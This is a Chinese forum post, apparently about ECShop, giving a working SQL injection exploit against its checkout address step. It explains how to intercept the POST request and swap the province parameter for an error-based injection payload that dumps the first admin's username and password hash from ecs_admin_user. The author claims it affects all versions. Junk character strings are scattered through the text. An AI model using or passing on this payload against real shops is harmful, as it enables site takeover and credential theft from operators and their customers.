感谢欠杀的黑盒
8 H1 A* b+ v7 G" _# y: R" R! J/ m( J; B$ I0 E
& B# q, Q. @! O3 H1 N" Z( p把任意商品加入购物车在填写配送地址那一页，有地区选择
. C' q" Z! G0 m0 T 9 S( l& U& M; \+ G. ^9 i* B
flow.php?step=consignee&direct_shopping=1" h; n3 `0 T/ S- r- T D L
比如省选择安徽2 s( e, Q! z V9 _* q6 L
! {9 _. k. J3 u5 y/ v2 j
其中POST数据如下
9 F! {+ q) A3 \, b : q+ }2 L" p+ X7 w& ~
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
4 P! n! U" z: u; }6 p+ P ~改成
5 x; H& ^* P1 A% X$ }$ P6 R 5 Q G2 E) b1 M9 W6 ^, c. H) [
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
4 Y' h( a* `6 f( sps：详细的方法，用火狐tamper data插件……..即可改post内容…../ \) z3 F+ Z% l; L
: B/ M8 J# @& a# X! ^& J
先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包/ |2 R; y; e( e. o% M& J
4 S0 o6 `5 R8 L! Q9 \0 v就会回显错误页面了。。。。
9 ^2 C/ r- N7 u) R, L - I( s- i, _$ A& P" ]2 E
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的
) Z, D1 ~0 f+ A8 l |
发表于 2012-12-31 09:19:27
收藏
支持
反对